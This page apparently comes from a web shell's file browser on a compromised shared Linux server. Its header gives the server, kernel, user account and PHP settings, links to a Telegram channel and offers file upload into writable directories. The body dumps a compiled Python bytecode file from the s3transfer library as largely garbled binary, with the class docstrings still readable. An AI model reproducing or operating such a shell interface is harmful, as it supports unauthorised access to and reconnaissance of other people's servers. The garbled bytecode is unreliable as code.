https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/s3transfer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/s3transfer/__pycache__/subscribers.cpython-310.pyc
o

�y�`,�@s8ddlmZddlmZddlmZGdd�de�ZdS)�)�six)�accepts_kwargs)�InvalidSubscriberMethodErrorcsLeZdZdZgd�Z�fdd�Zedd��Zdd�Zd	d
�Z	dd�Z
�ZS)
�BaseSubscriberz�The base subscriber class

    It is recommended that all subscriber implementations subclass and then
    override the subscription methods (i.e. on_{subsribe_type}() methods).
    )�queued�progress�donecs|��tt|��|�S)N)�_validate_subscriber_methods�superr�__new__)�cls�args�kwargs��	__class__��8/usr/lib/python3/dist-packages/s3transfer/subscribers.pyrszBaseSubscriber.__new__cCsH|jD]}t|d|�}t�|�std|��t|�s!td|��qdS)N�on_z&Subscriber method %s must be callable.z=Subscriber method %s must accept keyword arguments (**kwargs))�VALID_SUBSCRIBER_TYPES�getattrr�callablerr)r�subscriber_type�subscriber_methodrrrr	#s 

������z+BaseSubscriber._validate_subscriber_methodscK�dS)a�Callback to be invoked when transfer request gets queued

        This callback can be useful for:

            * Keeping track of how many transfers have been requested
            * Providing the expected transfer size through
              future.meta.provide_transfer_size() so a HeadObject would not
              need to be made for copies and downloads.

        :type future: s3transfer.futures.TransferFuture
        :param future: The TransferFuture representing the requested transfer.
        Nr��self�futurerrrr�	on_queued1�
zBaseSubscriber.on_queuedcKr)ajCallback to be invoked when progress is made on transfer

        This callback can be useful for:

            * Recording and displaying progress

        :type future: s3transfer.futures.TransferFuture
        :param future: The TransferFuture representing the requested transfer.

        :type bytes_transferred: int
        :param bytes_transferred: The number of bytes transferred for that
            invocation of the callback. Note that a negative amount can be
            provided, which usually indicates that an in-progress request
            needed to be retried and thus progress was rewound.
        Nr)rr�bytes_transferredrrrr�on_progress@szBaseSubscriber.on_progresscKr)a�Callback to be invoked once a transfer is done

        This callback can be useful for:

            * Recording and displaying whether the transfer succeeded or
              failed using future.result()
            * Running some task after the transfer completed like changing
              the last modified time of a downloaded file.

        :type future: s3transfer.futures.TransferFuture
        :param future: The TransferFuture representing the requested transfer.
        Nrrrrr�on_doneRrzBaseSubscriber.on_done)�__name__�
__module__�__qualname__�__doc__rr�classmethodr	rr r!�
__classcell__rrrrrs

rN)�botocore.compatr�s3transfer.compatr�s3transfer.exceptionsr�objectrrrrr�<module>s

https://t.me/RX1948 - 2025